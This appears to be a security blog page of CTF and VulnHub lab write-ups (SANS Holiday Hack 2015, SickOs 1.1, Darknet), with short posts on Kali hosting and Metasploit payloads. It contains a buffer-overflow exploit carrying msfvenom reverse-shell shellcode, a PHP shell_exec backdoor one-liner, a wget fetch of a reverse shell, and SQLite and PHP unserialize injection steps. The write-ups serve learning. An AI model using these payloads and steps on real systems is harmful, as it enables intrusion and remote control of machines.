s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = 'B' * 1000
padding = 'A' * 102
canary = '\xe4\xff\xff\xe4'
nopsled = '\x90' * 10

#jmp esp at: 0804936b
eip = '\x6b\x93\x04\x08'

#root@kali:~/link# msfvenom -p linux/x86/shell_reverse_tcp LHOST= LPORT=80 -f py
#Payload size: 68 bytes
buf = ""
buf += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66"
buf += "\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x68\x5e"
buf += "\xdb\xe3\x95\x68\x02\x00\x00\x50\x89\xe1\xb0\x66\x50"
buf += "\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52\x68\x2f\x2f\x73"
buf += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0"
buf += "\x0b\xcd\x80"

print "\nSending evil buffer..."
data = s.recv(5024)
print data
s.send('X' + '\r\n')
print s.recv(5000)
s.send(padding + canary + 'B' * 4 + eip + nopsled + buf + '\r\n')
data = s.recv(5024)
print data
print "Could not connect to sgstatd"

With this exploit I was able to onbtain a reverse shell and read the gnome.conf file and to exfiltrate the other files via ncat:

04-34 sg-05 reverse shell.png


Part5 endgame:

Here are the questions for part 5:

9) Based on evidence you recover from the SuperGnomes’ packet capture ZIP files and any staticky images you find, what is the nefarious plot of ATNAS Corporation?

The packet captures from the 5 SuperGnomes contain cleartext smtp sessions that can easily be joined together with Wireshark’s “follow tcp stream” feature:

05-01 wirehshark

Here are the 5 obtained E-Mails (body only):

SuperGnome 01 E-Mail:

From: "c" <>
To: <>
Subject: GiYH Architecture
Date: Fri, 26 Dec 2014 10:10:55 -0500


As you know, I hired you because you are the best architect in town for a
distributed surveillance system to satisfy our rather unique business
requirements.  We have less than a year from today to get our final plans in
place.  Our schedule is aggressive, but realistic.

I've sketched out the overall Gnome in Your Home architecture in the diagram
attached below.  Please add in protocol details and other technical
specifications to complete the architectural plans.

Remember: to achieve our goal, we must have the infrastructure scale to
upwards of 2 million Gnomes.  Once we solidify the architecture, you'll work
with the hardware team to create device specs and we'll start procuring
hardware in the February 2015 timeframe.

I've also made significant progress on distribution deals with retailers.


Looking forward to working with you on this project!


SuperGnome 01 E-Mail Attachment:


SuperGnome 02 E-Mail:

From: "c" <>
To: <>
Subject: =?us-ascii?Q?Large_Order_-_Immediate_Attention_Required?=
Date: Wed, 25 Feb 2015 09:30:39 -0500


As a follow-up to our phone conversation, we'd like to proceed with an order
of parts for our upcoming product line.  We'll need two million of each of
the following components:

+ Ambarella S2Lm IP Camera Processor System-on-Chip (with an ARM Cortex A9
CPU and Linux SDK)
+ ON Semiconductor AR0330: 3 MP 1/3" CMOS Digital Image Sensor
+ Atheros AR6233X Wi-Fi adapter
+ Texas Instruments TPS65053 switching power supply
+ Samsung K4B2G16460 2GB SSDR3 SDRAM
+ Samsung K9F1G08U0D 1GB NAND Flash

Given the volume of this purchase, we fully expect the 35% discount you
mentioned during our phone discussion.  If you cannot agree to this pricing,
we'll place our order elsewhere.

We need delivery of components to begin no later than April 1, 2015, with
250,000 units coming each week, with all of them arriving no later than June
1, 2015.

Finally, as you know, this project requires the utmost secrecy.   Tell NO
ONE about our order, especially any nosy law enforcement authorities.



SuperGnome 03 E-Mail:

From: "c" <>
To: <>
Subject: All Systems Go for Dec 24, 2015
Date: Tue, 1 Dec 2015 11:33:56 -0500

My Burgling Friends, 

Our long-running plan is nearly complete, and I'm writing to share the date
when your thieving will commence!  On the morning of December 24, 2015, each
individual burglar on this email list will receive a detailed itinerary of
specific houses and an inventory of items to steal from each house, along
with still photos of where to locate each item.  The message will also
include a specific path optimized for you to hit your assigned houses
quickly and efficiently the night of December 24, 2015 after dark.

Further, we've selected the items to steal based on a detailed analysis of
what commands the highest prices on the hot-items open market.  I caution
you - steal only the items included on the list.  DO NOT waste time grabbing
anything else from a house.  There's no sense whatsoever grabbing crumbs too
small for a mouse!

As to the details of the plan, remember to wear the Santa suit we provided
you, and bring the extra large bag for all your stolen goods.

If any children observe you in their houses that night, remember to tell
them that you are actually "Santy Claus", and that you need to send the
specific items you are taking to your workshop for repair.  Describe it in a
very friendly manner, get the child a drink of water, pat him or her on the
head, and send the little moppet back to bed.  Then, finish the deed, and
get out of there.  It's all quite simple - go to each house, grab the loot,
and return it to the designated drop-off area so we can resell it.  And,
above all, avoid Mount Crumpit! 

As we agreed, we'll split the proceeds from our sale 50-50 with each

Oh, and I've heard that many of you are asking where the name ATNAS comes
from.  Why, it's reverse SANTA, of course.  Instead of bringing presents on
Christmas, we'll be stealing them!

Thank you for your partnership in this endeavor. 



President and CEO of ATNAS Corporation

SuperGnome 04 E-Mail:

From: "c" <>
To: <>
Subject: Answer To Your Question
Date: Thu, 3 Dec 2015 13:38:15 -0500

Dr. O'Malley,

In your recent email, you inquired:

> When did you first notice your anxiety about the holiday season?

Anxiety is hardly the word for it.  It's a deep-seated hatred, Doctor.

Before I get into details, please allow me to remind you that we operate
under the strictest doctor-patient confidentiality agreement in the
business.  I have some very powerful lawyers whom I'd hate to invoke in the
event of some leak on your part.  I seek your help because you are the best
psychiatrist in all of Who-ville.

To answer your question directly, as a young child (I must have been no more
than two), I experienced a life-changing interaction.  Very late on
Christmas Eve, I was awakened to find a grotesque green Who dressed in a
tattered Santa Claus outfit, standing in my barren living room, attempting
to shove our holiday tree up the chimney.  My senses heightened, I put on my
best little-girl innocent voice and asked him what he was doing.  He
explained that he was "Santy Claus" and needed to send the tree for repair.
I instantly knew it was a lie, but I humored the old thief so I could escape
to the safety of my bed.  That horrifying interaction ruined Christmas for
me that year, and I was terrified of the whole holiday season throughout my
teen years.

I later learned that the green Who was known as "the Grinch" and had lost
his mind in the middle of a crime spree to steal Christmas presents.  At the
very moment of his criminal triumph, he had a pitiful change of heart and
started playing all nicey-nice.  What an amateur!  When I became an adult,
my fear of Christmas boiled into true hatred of the whole holiday season.  I
knew that I had to stop Christmas from coming.  But how?

I vowed to finish what the Grinch had started, but to do it at a far larger
scale.  Using the latest technology and a distributed channel of burglars,
we'd rob 2 million houses, grabbing their most precious gifts, and selling
them on the open market.  We'll destroy Christmas as two million homes full
of people all cry "BOO-HOO", and we'll turn a handy profit on the whole

Is this "wrong"?  I simply don't care.  I bear the bitter scars of the
Grinch's malfeasance, and singing a little "Fahoo Fores" isn't gonna fix

What is your advice, doctor?


Cindy Lou Who

SuperGnome 05 E-Mail:

From: "Grinch" <>
To: <>
Subject: My Apologies & Holiday Greetings
Date: Tue, 15 Dec 2015 16:09:40 -0500

Dear Cindy Lou,

I am writing to apologize for what I did to you so long ago.  I wronged you
and all the Whos down in Who-ville due to my extreme misunderstanding of
Christmas and a deep-seated hatred.  I should have never lied to you, and I
should have never stolen those gifts on Christmas Eve.  I realize that even
returning them on Christmas morn didn't erase my crimes completely.  I seek
your forgiveness.

You see, on Mount Crumpit that fateful Christmas morning, I learned th[4 bytes missing in capture file]at
Christmas doesn't come from a store.  In fact, I discovered that Christmas
means a whole lot more!

When I returned their gifts, the Whos embraced me.  They forgave.  I was
stunned, and my heart grew even more.  Why, they even let me carve the roast
beast!  They demonstrated to me that the holiday season is, in part, about
forgiveness and love, and that's the gift that all the Whos gave to me that
morning so long ago.  I honestly tear up thinking about it.

I don't expect you to forgive me, Cindy Lou.  But, you have my deepest and
most sincere apologies.

And, above all, don't let my horrible actions from so long ago taint you in
any way.  I understand you've grown into an amazing business leader.  You
are a precious and beautiful Who, my dear.  Please use your skills wisely
and to help and support your fellow Who, especially during the holidays.

I sincerely wish you a holiday season full of kindness and warmth,

--The Grinch

10) Who is the villain behind the nefarious plot.

Unsigned E-Mails can be forged knows every pentester! So lets turn to our final piece of evidence: The staticy images!

When you look around on the SuperGnomes you can read the following on the GnomeNet:

05-02 gnomenet

So the picture convert camera_feed_overlap_error.png got somehow XOR’ed with the factory_cam_x.png pictures from the 5 SuperGnomes!

If you google for “image xor” you will quickly find a roughly 4 year old post on StackOverflow which explains how the ImageMagic program (which comes preinstalled with Kali) can be leveraged to XOR 2 pictures.

After playing arround with this a bit I found out that you have to XOR the overlap picture with each of the SuperGnome’s factory image in turn:

convert camera_feed_overlap_error.png factory_cam_1.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_2.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_3.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_4.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png
convert output.png factory_cam_5.png -fx "(((255*u)&(255*(1-v)))|((255*(1-u))&(255*v)))/255" output.png

Doing this you obtain the ultimate proof:

05-03 cindy lee who

The Character Cindy Lou Who from the Movie: How the Grinch Stole Christmas was the villain behind the nefarious plot to ruin christmas!

The End!

05-04 the end


Thank you SANS / Ed Skoudis for this wonderful Christmas Hackchallenge!!!

Posted in miscellaneous | 2 Comments

vulnhub: sickos 1.1 walkthrough

I just spotted a vm on Vulnhub that promised to be like OSCP. So i had to grab it:,132/

It was quite easy but still a lot of fun! As I managed to root it in roughly 45 minutes and the exploitation path is quite obvious im going with a minimalistic walkthrough.

Here we go:

1. Every good day starts with a nmap scan!

Given that im in a VM I just went in loud:Bildschirmfoto 2015-12-11 um 22.03.13


2. Im as hard as a jelly fish

One thing always to go for with an open proxy is to see if you can access a webserver that is only listening on the loopback interface:

Bildschirmfoto 2015-12-11 um 22.09.01


3. webserver problem? nikto will find it

So much vulns so wow:

Bildschirmfoto 2015-12-11 um 22.11.13

Definitely some shellshock here but I went another way:

4. dirbdirbdirbdirbdirbdirbdirbdirbdirb

Bildschirmfoto 2015-12-11 um 22.14.44

robots.txt ofcourse:

Bildschirmfoto 2015-12-11 um 22.16.30

5. the server who cried wolf

A small cms called “wolfcms”:

Bildschirmfoto 2015-12-11 um 22.17.53

I can already smell where this is going! But how to get to the admin login?
/admin, /login and other usual suspects do not work…. Lets ask google:

Bildschirmfoto 2015-12-11 um 22.20.14

Where is waldo….errrr admin? -> /?admin

Bildschirmfoto 2015-12-11 um 22.22.13

Can you guess it?

6. Never go full retard! But always go with admin:admin first!

At this point i figured this will be an easy one:

Bildschirmfoto 2015-12-11 um 22.24.19

A fileupload function, how nice! As I still had DAws lying around from my last vulnhub machine (D4rknet Writeup here) I just went with that:

Bildschirmfoto 2015-12-11 um 22.28.26

7. We’ve got shell \o/

Bildschirmfoto 2015-12-11 um 22.28.48Some basic postexploit reconnaissance:

Bildschirmfoto 2015-12-11 um 22.38.14

Equipped with the mysql root pw lets check for PW reuse!

8. This… was… too… easy… :)

Bildschirmfoto 2015-12-11 um 22.39.35

This was rather easy but still fun! A refreshing contrast to all those reverse engineering hardcore VMs which are dominating vulnhub lately!

Props to D4rk (@D4rk36) for this! Even an “easy” VM is still loads of work to prepare and I really appreciate that! Also he is spot on with this being a lot like OSCP. If you have done OSCP, hacking this VM feels kinda natural :)


Posted in miscellaneous | Leave a comment writeup: Darknet


This is my writeup of the Darknet boot2root VM from

I enjoyed Darknet as it was a VM focused on Linux System configuration and WebApp flaws. Lately there have been a lot of application exploitation and reverse engineering challenges on vulnhub which are not my strong suite so I very enjoyed darknet.

It still was quite challenging and I learned a ton new stuff and techniques (even tough I skipped a challenge)!

1. basic enumeration

After the VM is set up with bridged network and finished booting up I identified it with Nmap:

root@kali:~# nmap -sn
Nmap scan report for (
Host is up (-0.077s latency).

The first thing after identifying the VMs IP Address was scanning it with Nmap:


With this result I decided to go after the Webserver first because from experience with Boot2Root VMs the Webserver takes almost always part in the exploitation process (going after the low hanging fruits first).

First Step with a Webserver should be just looking at the Website it serves imho, before starting to wildly shoot tools at it!


Some nice splash page! But no hint in this page or its sourcecode:


Before using any automated tool I checked for a robots.txt manually, as this often gives a clue:


Not this time… So I ran nikto against the webserver:

root@kali:~# nikto -h
- Nikto v2.1.6
+ Target IP:
+ Target Hostname:
+ Target Port:        80
+ Start Time:         2015-08-16 06:48:49 (GMT-4)
+ Server: Apache/2.2.22 (Debian)
+ Server leaks inodes via ETags, header found with file /, inode: 46398, size: 378, mtime: Mon Mar 23 02:10:38 2015
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See The following alternatives for 'index' were found: index.html
+ Apache/2.2.22 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS 
+ Cookie PHPSESSID created without the httponly flag
+ Retrieved x-powered-by header: PHP/5.4.39-0+deb7u1
+ OSVDB-3268: /access/: Directory indexing found.
+ OSVDB-3092: /access/: This might be interesting...
+ OSVDB-3233: /icons/README: Apache default file found.
+ 9157 requests: 0 error(s) and 13 item(s) reported on remote host
+ End Time:           2015-08-16 06:49:04 (GMT-4) (15 seconds)
+ 1 host(s) tested

When nikto tells you something might be interesting its always worth checking it out:


A backup file! You should always look for those as they often contain valueable information that is not supposed to be accessible by the enduser! Interesting extensions to search for are: backup,bak,old,alt

FYI: Nessus has a plugin dedicated to search for Website Backups. If you dont want to run nessus you can manually append those extensions to the known pages and run dirb with dictionaries and append those extensions (dirb -x extensions-list.txt URL DICT).

Also note that this file discloses a local Username: devnull and the fact that the vhosts html directory is located in the home directory of this user!

So this Webserver likely hosts at least two different websites in different directories!

2. entering the deep dark web

So I grabbed and looked at the backup file:


An apache vhost configuration file. So by requesting an DNS Name as URL I will probably get a different page! So lets add the DNS Name to the hosts file:

root@kali:~/vulnhub/darknet# echo "" >> /etc/hosts

And look at the Website:


A Login Page!
Everything turned CSI Cyber from here quickly (jk) ;)

The first thing with such login pages that comes to my mind is playing around with SQLi.

By entering “test:test” you can determine the normal behavior:


A simple “Fail” message.

Testing the Basic SQLi things you will notice that “test’:test” will provoke a different behavior:


This looks interesting! But with a little testing I could find out that this is just the md5 of the entered password:

root@kali:~/vulnhub/darknet# echo -n "test" | md5sum
098f6bcd4621d373cade4e832627b4f6  -

Maybe this could be a lead or maybe this is just to mislead…
I have to be honest that I did this stage of the VM simultaneously with a couple of friends and one of them (props oboro!) found the SQLi Authentication bypass first:

Entering “devnull’ or ‘1” as a username and any random password will bypass the Authentication:


This looks like a way to issue SQL commands to the SQL Server directly. Databases are always very interesting because they could allow you to execute code directly on the server or allow to write files to the server (outfile functions) which in turn could give the possibility to execute code on the server (php for example)!

The hard part is that this form gives no error messages (blind) and you don’t know which database backend ist present (blind^2).

I will again be honest and tell that after fiddling around a lot and trying numerous sqlmap runs I took a peek at another Darknet writeup to learn this is a SQLite backend.

With this information I did some research and found this article:

So a basic outfile should be achieved by this SQL query:

ATTACH DATABASE '/home/devnull/public_html/test.php' as pwn;
INSERT INTO (code) VALUES ("test");




After testing and googeling arround alot (and maybe taking another peak at an existing writeup ¯\_(ツ)_/¯) I found out that this is may be a permission problem and the database is not allowed to write in the specified directory.
To find some alternatives I fired up dirb:


So lets test:



Even tough it feels like (and probably is) cheating to take a peek at other writeups it still feels good when the attack is working in the end. And I think its always better to cheat and learn from it than to give up…

Now with the possibility to write to the disk I immediately thought I could easily get a php shell!



Fail :/

So maybe the Webserver is hardened against simple php backdoors. Lets take a look at the php config by injecting a phpinfo.php with the following SQL command:


Et voila: darknet-phpinfo

PHP a hackers dream!
Scrolling down a bit to find the following setting:

disable_functions = system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec	system, eval, shell_exec, passthru, popen, proc_open, escapeshellarg, escapeshellcmd, exec, proc_close, proc_get_status, proc_nice, proc_terminate, pcntl_exec

So thats why the php backdoor did not work. Encountering this the first time on a boot2root VM I did some google research and found out that there is actually a command to alter the php.ini setting within php code itsel (how great is that?!?!):

So I tried to leverage this to get a shell and set disable_functions to 0 before running shell_exec:


But this still failed me:


But notice how we now get Error messages!

After some more research on the web I found a hint, that it might be possible to place a new php.ini file inside the dir from where the php files are beeing loaded (/home/devnull/public_html/img/ in this case).
So I tried to place an empty php.ini there:


And checked the backdoor again:


3. We’ve got shell!

With a working php backdoor it is now easy to establish a reverse shell:

Sending a wget command to grab my prefered reverse shell (/usr/share/webshells/perl/ on kali):

darknet-grab-reverseshellMakes my access.log happy:



Now I can just start listening and catch the reverse shell:



I love the moment when the first shell drops in :)
Nothing beats a reverse shell for target enumeration and privesc imho!

 4. Privesc all the things!

With a limited reverse shell privilege escalation to root is the next goal.
What I always do when I get a limited shell is transferring one or all of my three linux-privesc friends:

Here are some interesting parts of the findings from

Sample entires from /etc/passwd (searching for uid values 0, 500, 501, 502, 1000, 1001, 1002, 2000, 2001, 2002):

Can we read/write sensitive files:
-rw-r--r-- 1 root root 1007 Apr 20 13:51 /etc/passwd
-rw-r--r-- 1 root root 586 Mar 21 04:51 /etc/group
-rw-r--r-- 1 root root 851 Jul 29 2011 /etc/profile
-rw-r----- 1 root shadow 942 Apr 20 13:15 /etc/shadow

And here an interesting find from

[+] World Writable Files
    -rwxrwxrwx 1 root root 869 Apr 26 13:24 /etc/suphp/suphp.conf

Never having had any contact with suphp before and finding its config file world writeable I did some research and found the following introduction on its website:

“suPHP is a tool for executing PHP scripts with the permissions of their owners. It consists of an Apache module (mod_suphp) and a setuid root binary (suphp) that is called by the Apache module to change the uid of the process executing the PHP interpreter.”

So because suPHP runs PHP scripts with the permissions of their owners I became user devnull when exploiting the SQL Admin interface:

$ ls -lisah /home/devnull/public_html/main.php
46516 4.0K -rw------- 1 devnull devnull 643 Mar 23 00:35 /home/devnull/public_html/main.php

So a possible privesc path would be to find a php file owned by root and somehow try to exploit it to get a root shell!

So lets look for such files:

$ find / -user root -name "*.php" | grep -v "Permission denied"
find: `/proc/tty/driver': Permission denied
find: `/proc/1/task/1/fd': Permission denied
find: `/proc/1/task/1/fdinfo': Permission denied
... a lot more Permission denied...

Okay that looks interesting. Lets take a loot at /var/www/:

$ cd /var/www
$ ls -la 
total 24
drwxr-xr-x  4 root root 4096 Apr 26 13:25 .
drwxr-xr-x 12 root root 4096 Mar 21 16:50 ..
drwxr-xr-x  2 root root 4096 Apr 26 11:22 Classes
drwxr-xr-x  2 root root 4096 Mar 23 03:33 access
-rw-r--r--  1 root root  378 Mar 23 03:10 index.html
-rw-r--r--  1 root root  157 Apr 26 11:21 sec.php
$ ls -la Classes
total 16
drwxr-xr-x 2 root root 4096 Apr 26 11:22 .
drwxr-xr-x 4 root root 4096 Apr 26 13:25 ..
-rw-r--r-- 1 root root  163 Apr 26 11:22 Show.php
-rw-r--r-- 1 root root  319 Apr 26 11:27 Test.php
$ ls -la access
total 12
drwxr-xr-x 2 root root 4096 Mar 23 03:33 .
drwxr-xr-x 4 root root 4096 Apr 26 13:25 ..
-rw-r--r-- 1 root root  176 Mar 23 03:31

This looks familiar! This is the default www basedir from apache that we grabbed the backup file from before!

And we have root owned php files there! The exact thing we were looking for! Lets take a look at sec.php:

darknet-sec.phpThe function unserialize gets passed a user controlled value!
This smells like a possible injection!

To leverage this information I needed to read up on the unserialize function first tough, as this was as well something I never came into contact with before:

Okay I can restore PHP objects and I can see some Class functions inside Classes/Test.php


and Classes/Show.php:


So lets query OWASP on how we can exploit this:

Okay that doesn’t sound too hard!

First I started with opening sec.php in a browser:

darknet-secphp-500For some reason Apache is not happy with opening the sec.php file!
But remember we can read and write the /etc/suphp/suphp.conf file (which is very suspicious)!

So lets take a look at it:

$ cat /etc/suphp/suphp.conf
;Path to logfile


;User Apache is running as

;Path all scripts have to be in

;Path to chroot() to before executing script

; Security options

;Check wheter script is within DOCUMENT_ROOT

;Send minor error messages to browser

;PATH environment variable

;Umask to set, specify in octal notation

; Minimum UID

; Minimum GID

;Handler for php-scripts

;Handler for CGI-scripts

And find some explanation of the settings here:

  Minimum UID allowed to execute scripts.
  Defaults to compile-time value.

  Minimum GID allowed to execute scripts.
  Defaults to compile-time value.

The Apache 500 error did not hint at the root cause however this clearly should prevent us from trying what we are doing:
running php files from uid/gid 0 (root)

So lets alter those lines:

$ cp /etc/suphp/suphp.conf /tmp
$ sed -i -e 's/min_uid=100/min_uid=0/g' /tmp/suphp.conf
$ sed -i -e 's/min_gid=100/min_gid=0/g' /tmp/suphp.conf
$ cp /tmp/suphp.conf /etc/suphp/suphp.conf

And try the page again:


Blank Page \o/  Time to Burp!
Intercepting the Request with Burp:

darknet-burp-interceptAnd sending it to the Repeater (by clicking on Action -> Send to Repeater):

darknet-burp-repeaterNow we can fiddle arround with the requests!

A first test after reading the owasp Article ( was using an online service to serialize some text and inserting it with burp:



Okay now lets look at sec.php again:


It accepts a POST Parameter called “test” so lets provide the online serialized string with burp:


Okay so basic injection from the outside is possible!
Notice in the above sec.php function that the unserialized Object/String will be printed.

So how can we exploit this?! Lets read the OWASP article again and take a closer look at the Classes/Show.php (again):


So sec.php requires (includes) Show.php which in turn contains code for the Show Class.  So when we unserialize an Object of the Class “Show” we should be able to trigger the return value “Showme”.

This part is a bit tricky to figure out and I guess thats a reason why the Show.php was included, because it starts with only one public variable.

So based on what I read in the OWASP article I sent the following Object:


And Burp made me a happy man:

darknet-unserialize-showme Okay now that we understand the basic interaction with PHP Objects thorugh the unserialize function lets take a look at the Classes/Test.php file again:


So this file was clearly put here for the purpose of privesc escalation!
We already determined above that it is owned by root, so everything it does will be done in the context of root.

If we create (unserialize) an Object of the Class “Test” it will call the __destruct() function eventually with the public variables $url, $name_file and $path which we can control when passing the serialized object via burp!

After playing around a bit I finally arrived at the following serialized object string:


Let me explain this a bit more from my limited perspective:


-> This will tell PHP to restore an Object from the Class “Test” with 6 “Fields (3xVariables + 3xContent)”


-> This tells PHP that there is variable from type string (s) whose name is 3 digits long and called “url”.
The Content of this variable is also from type string and 35 digits long. Its content is the URL pointing to a php backdoor on my kali webserver with a txt extension so that my webserver will not interpret it!


-> This tells PHP that there is a second variable from type string (s) whose name is 9 digits long and called “name_file”. Its content is “phpbackdoor.php” (15 digits long).


-> This finally tells PHP that there is a third variable from type string (s) whose name is 4 digits long and its content is “/var/www” (8 digits long).


4. got root?!

So before running this with burp lets place the phpbackdoor.txt on the Webserver of my kali box (Notice the escape of the $_GET with a \ !!!):

root@kali:~# echo "<?php error_reporting(E_ALL); ini_set('display_errors', 1); ini_set('disable_functions', 0); echo(shell_exec(\$_GET['c'])); ?>" > /var/www/html/phpbackdoor.txt

Now lets send our serialized PHP Object to the sec.php script with burp: 


Watching the apache access log and getting excited:


And into the browser:

darknet-last-obstacleOh noes! One last obstacle in our way! Good thing we already know that we just need to place an empty php.ini in the www dir to override the original php.ini!

So lets place an empty file on our webserver:

root@kali:~# echo "" > /var/www/html/empty.txt

And one final burp (watch the length of the strings change!):


And lets try our php backdoor again:





Now to get an interactive rootshell I just started a reverse listener and called the previously dropped /tmp/




 Root \o/


 6. Final toughts

Thanks to q3rv0 for this awesome VM and oportunity to learn new techniques!

Also I quietly skipped a major Challenge of this VM (Remember User errorlevel?).

If you want to learn about xml and XPath exploitation you should definitely take a look at /etc/apache2/sites-available and/or the other writeups for darknet on vulnhub!!!

And finally props to #vulnhub!

Best Regards

Posted in boot2root, InfoSec, miscellaneous, vulnhub | 1 Comment

Hosting Kali in the Cloud – Catch those Reverse Shells where they matter!


if you want to host Kali in the Cloud I can recommend the host Vultr!

You can prepay your account with PayPal and Bitcoin and fire up a Kali VM in 30 Minutes by “wgetting” the Kali minimal Iso to the hoster and booting via KVM and performing the Kali Installation Routine.

The prices are roughly half of comparable AWS Instances!

So just try it out, setting up a Kali VM and playing around a bit did cost me roughly 19 USD Cents…

You also can see you Account Balance and detailed per Server monthly fees in the Webinterface! If the VM is powered down it does not cost you anything.

Disclaimer: The link above and below are including a referral to my account!
If you like Vultr and stumbled onto it via my blog please use this link to sign up!

Feel free to post any comments or questions below!
I will be happy to reply quickly!

Best regards

Posted in pentesting | Tagged , , , , , , , | 9 Comments

security onion – cant find kernel headers


if you try to install VMware Tools on Security Onion and it cant find the Kernel Headers even if the “linux-headers-$(uname -r)” package is installed try the following:

sudo ln -s /usr/src/linux-headers-$(uname -r)/include/generated/uapi/linux/version.h /usr/src/linux-headers-$(uname -r)/include/linux/version.h

and run again. Worked like a charm for me!


Posted in miscellaneous | Leave a comment

Only use a stager if there is a stage to perform on – shell/reverse_tcp vs. shell_reverse_tcp


just a quicky:

(If you don’t know what this is about maybe you want to brush up your knowlege in offensive security)

If you need to generate a simple reverse shell payload with metasploit (msfpayload | msfencode) be aware of the difference between shell/reverse_tcp and shell_reverse_tcp!

shell/reverse_tcp is just a stager that connects back to metasploit and loads the actual payload (shellcode)! So if you are sitting in front of your netcat listener the stager will miss its intended stage and will not perform a pretty act (a shell) for you…

If you are just using msfpayload you will see a splitted output (Stage 1+2) that will remind you. However if you pipe directly into msfencode then you will get no feedback in the output!

You can also look at the rapid7 module listing:


Posted in InfoSec | Tagged , , , , | Leave a comment